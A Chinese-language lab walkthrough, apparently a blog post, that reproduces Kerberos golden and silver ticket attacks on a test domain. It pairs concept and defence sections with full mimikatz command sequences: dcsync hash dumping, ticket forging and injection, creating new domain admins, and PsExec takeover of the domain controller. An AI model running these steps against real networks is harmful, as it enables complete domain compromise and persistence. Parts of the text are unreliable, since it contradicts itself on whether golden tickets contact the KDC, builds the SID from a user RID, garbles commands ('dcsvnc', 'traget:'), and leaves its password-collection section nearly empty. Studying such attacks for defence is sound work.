域权限维持和后渗透密码收集
前言
本文仅用于网络安全领域的教育和研究目的,旨在帮助安全研究人员和渗透测试人员了解和防范黄金票据攻击与白银票据攻击。所有技术的使用必须在合法授权的环境下进行,未经授权的攻击行为是违法的。本文的目标是提高网络安全防护能力,帮助企业和组织更好地保护其系统免受此类攻击的威胁。
网络安全是当今数字世界中至关重要的领域。随着网络攻击手段的日益复杂化,了解攻击原理和防御措施对于保护企业和个人的信息安全至关重要。本文将详细介绍黄金票据攻击与白银票据攻击的原理、实施过程以及防御措施,旨在帮助读者更好地理解这些攻击手段,并采取有效的防护策略。
黄金票据攻击与白银票据攻击
黄金票据攻击(Golden Ticket Attack)
黄金票据攻击是一种利用Kerberos认证协议漏洞的攻击方式。攻击者通过伪造Kerberos票据授予票据(TGT),以任意用户身份(包括域管理员)访问域内的所有资源。
攻击原理
- 攻击者需要获取域控制器(DC)上的
KRBTGT
账户的NTLM哈希值。 - 使用该哈希值伪造一个长期有效的TGT。
- 使用伪造的TGT请求访问域内任何服务的票据。
- 由于伪造的TGT是合法的Kerberos票据,许多安全产品难以检测。
特点
- 持久性强:只要
KRBTGT
账户的密码未更改,黄金票据就有效。 - 无需与KDC交互:攻击者可以离线生成TGT。
- 可伪造任意用户:攻击者可以伪造域管理员或其他高权限用户身份。
- 绕过大部分安全检测:由于黄金票据是合法的Kerberos票据,许多安全产品难以检测。
白银票据攻击(Silver Ticket Attack)
白银票据攻击与黄金票据攻击类似,但攻击范围更窄。攻击者伪造Kerberos服务票据(ST),直接访问特定服务,而不是整个域。
攻击原理
- 攻击者需要获取目标服务账户的哈希值(如
CIFS$
、MSSQL$
等)。 - 使用该哈希值伪造ST。
- 使用伪造的票据直接访问目标服务。
特点
- 攻击范围有限:仅限于特定服务(如文件共享、数据库等)。
- 隐蔽性强:无需与KDC交互,更难被流量监控发现。
- 短期有效:默认情况下,白银票据的有效期为10小时。
防御措施
- 保护
KRBTGT
账户:定期更改KRBTGT
账户的密码,并限制对该账户的访问。 - 监控异常Kerberos活动:通过监控TGT请求频率、检查票据PAC签名完整性等方式,检测异常的Kerberos活动。
- 网络分段策略:实施零信任模型,最小化横向通信权限,减少攻击面。
- 检测体系构建:建立SIEM告警规则,检测异常的登录行为和票据请求。
- 红蓝对抗演练:定期进行红蓝对抗演练,优化安全防护体系。
环境配置
DC:windows server 2019 ip:192.168.88.130
Windows 10 x64 ip:192.168.88.131
工具包mimikatz等
在DC上添加域角色
安装active directory域服务
打开“服务器管理器”
找到“添加角色和功能”
在“安装类型”中,选择“基于角色或基于功能的安装”
在“服务器角色”页面中,勾选“Active Directory”域服务
后面默认选择,直接安装
创建域
安装完成之后,需要将服务器提升为域控制器
打开“服务器管理器”
在“操作”菜单中,点击“将此服务器提升为域控制器”
在“部署配置”页面,选择“添加新林根域”,输入域名称:abc.com
(这一步做完点击下一步之后,需要等一会儿才能继续下一步,耐心等待)
设置目录服务恢复模式(DSRM)密码
后面直接默认安装
之后会出现弹窗,点击关闭,重新启动虚拟机
配置域环境
在域控上创建用户账号和组
创建用户
密码需要设置强密码,故设置为P@ssw0rd!
创建组
将其他域成员加入到域内
在Windows10 x64中,将首选DNS服务器设置为域服务器
在文件管理中找到“此电脑”,右键属性
之后需要重新启动,以激活加入域操作
使用nslookup命令查看abc.com,是否成功加入域
加入域成功
复现黄金票据传递攻击
第一步:收集黄金票据的信息,在服务器上执行
mimikatz.exe
privilege::debug
lsadump::dcsync /domain:abc.com /all /csv
第二步:伪造票据(win10)
whoami /user
得到sid值:S-1-5-21-1437317846-3773719243-931954916-1001
kerberos::golden /user:administrator /domain:abc.com /sid:S-1-5-21-1437317846-3773719243-931954916-1001 /krbtgt:bf84b7091d45f24fd7915db700a9d42a /ticket:ticket.kirbi
这里的sid和krbtgt的数值皆在上一步或上两步的操作中获取
生成的票据
第三步:导入票据
kerberos::purge
kerberos::tgt
kerberos::ptt ticket.kirbi
第四步:测试(win10)
新开一个终端(管理员运行),向abc.com添加ddd用户及密码Abcd@2024,并提升ddd用户为domain admins组成员
klist
net user ddd Abcd@2024 /add /domain
net group "domain admins" ddd /add /domain
在Windows server2019的DC上查看新建的域用户
然后在win10通过工具PsExec,利用新建的域用户控制域控
PsExec.exe /accepteula /s \\192.168.88.130 -u ddd -p Abcd@2024 cmd
注意:当票据的缓存被清除时,要想继续控制域控,需要重新导入票据
netstat -an | find "135"
复现白银票据传递攻击
第一步:收集票据信息
lsadump::dcsync /domain:abc.com /user:Administrator
第二步:伪造票据并导入(win10)
whoami /user
得到sid值:S-1-5-21-1437317846-3773719243-931954916-1001
kerberos::golden /domain:abc.com /sid:S-1-5-21-1437317846-3773719243-931954916-1001 traget:abc.com /service:cifs /rc4:fefcfc418134bfb464ae7facd8c76668 /user:silver /ptt
第三步:测试(win10)
设置DC的C盘为共享文件
新开一个终端(管理员方式运行),成功访问域控的共享文件
dir \\Win-2e28ib3rd7h\c$
新建域用户,向abc.com添加bbb用户及密码Abcd@2024,并提升bbb用户为domain admins组成员
klist
net user bbb Abcd@2024 /add /domain
net group "domain admins" bbb /add /domain
在DC上查看,成功创建bbb用户
然后再win10上通过工具PsExec,利用新建的域用户控制域控
PsExec.exe /accepteula /s \\192.168.88.130 -u bbb -p Abcd@2024 cmd
当清空票据缓存,不能访问域控的共享,也不能控制域控
黄金票据和白银票据的联系与区别
联系
黄金票据和白银票据都是基于Kerberos认证机制的攻击手段,它们的共同点在于:
- 攻击目标一致:两者都是通过伪造Kerberos票据来绕过正常的身份验证流程,从而获取对目标系统或服务的访问权限。
- 利用相同的协议漏洞:它们都利用了Kerberos协议在票据生成和验证过程中的漏洞,攻击者通过伪造票据来欺骗系统,使其认为自己是合法用户。
- 攻击目的相似:都是为了在渗透测试或攻击过程中获取对目标系统的控制权,进而进行进一步的攻击或数据窃取。
区别
用途
黄金票据:黄金票据是伪造的TGT(Ticket-Granting Ticket,身份票据)。TGT是Kerberos认证过程中的关键票据,用于获取其他服务的访问权限。黄金票据一旦生成,攻击者可以利用它请求任何服务的ST(Service Ticket),从而访问域内的所有服务。
白银票据:白银票据是伪造的ST(Service Ticket,服务票据)。它直接针对特定的服务(如CIFS、MSSQL等),攻击者通过伪造ST来访问特定的服务,而无需获取TGT。
权限范围
黄金票据:由于黄金票据是伪造的TGT,它具有极高的权限,可以访问域内的所有服务。攻击者可以利用它获取对任何资源的访问权限,包括文件服务器、数据库服务器等。
白银票据:白银票据的权限相对有限,它只能访问特定的服务。攻击者需要为每个目标服务单独生成白银票据,且每个票据只能用于访问指定的服务。
加密方式
黄金票据:黄金票据的生成需要使用krbtgt账户的NTLM Hash进行加密。krbtgt是Kerberos协议中的一个特殊账户,用于生成TGT。
白银票据:白银票据的生成需要使用目标服务账户的NTLM Hash进行加密。攻击者需要获取目标服务账户的密码哈希值,才能生成有效的白银票据。
认证流程
黄金票据:黄金票据的生成和使用需要与KDC(Key Distribution Center)进行交互。攻击者通过伪造TGT,欺骗KDC,从而获取其他服务的ST。
白银票据:白银票据的生成和使用不与KDC交互,而是直接与目标服务进行通信。攻击者伪造ST后,直接将其发送给目标服务,从而绕过KDC的验证。
日志记录
黄金票据:由于黄金票据需要与KDC交互,因此在域控上会留下日志记录。这使得黄金票据的使用更容易被检测到。
白银票据:白银票据的使用不会在域控上留下日志记录,仅在目标服务器上留下日志。因此,白银票据的使用更加隐蔽,更难被发现。
总结
黄金票据:具有极高的权限,可以访问域内的所有服务,但使用时会在域控上留下日志记录,容易被检测。
白银票据:权限相对有限,只能访问特定的服务,但使用时不会在域控上留下日志记录,更加隐蔽。
在实际的网络安全防护中,应加强对krbtgt账户和服务账户的安全管理,限制管理员权限,监控异常的网络活动,并定期更换关键账户的密码,以防止黄金票据和白银票据攻击。
用实例实现后渗透密码收集
使用命令msfconsole,启动msf终端
注意事项
问题:在Win10上尝试新建ddd用户的时候失败
虽然这个命令行是在win10的管理员权限下运行,但是处于abc.com域下,为abc.com域服务器添加用户,应该在域服务器的管理员权限下进行
runas /user:abc.com\Administrator "cmd"
问题:在获取DC的NTLM哈希值时,出现无法访问(最近常用的是sekurlsa::logonpasswords)
可以更换命令来获取NTLM哈希值
lsadump::dcsvnc /domain:abc.com /user:Administrator
结语:安全防护的重要性
在网络安全领域,了解攻击手段是防范攻击的第一步。通过本文的介绍,我们希望读者能够认识到黄金票据攻击和白银票据攻击的危险性,并采取有效的防御措施来保护自己的网络环境。以下是一些关键的防御建议:
- 加强账户管理:定期更改关键账户(如KRBTGT)的密码,并限制对这些账户的访问。
- 监控异常活动:通过监控Kerberos票据请求频率、检查票据PAC签名完整性等方式,及时发现异常的Kerberos活动。
- 实施零信任模型:最小化横向通信权限,减少攻击面。
- 建立检测体系:构建SIEM告警规则,检测异常的登录行为和票据请求。
- 定期进行安全演练:通过红蓝对抗演练,优化安全防护体系。
我们强烈建议所有网络安全从业者和系统管理员重视这些防御措施,并将其纳入日常的安全管理流程中。只有通过持续的安全教育和有效的防护策略,我们才能更好地应对日益复杂的网络攻击威胁。
合法性再次声明
再次强调,本文的所有内容仅用于合法的网络安全研究和教育目的。未经授权的攻击行为是违法的,本文不鼓励也不支持任何形式的非法网络活动。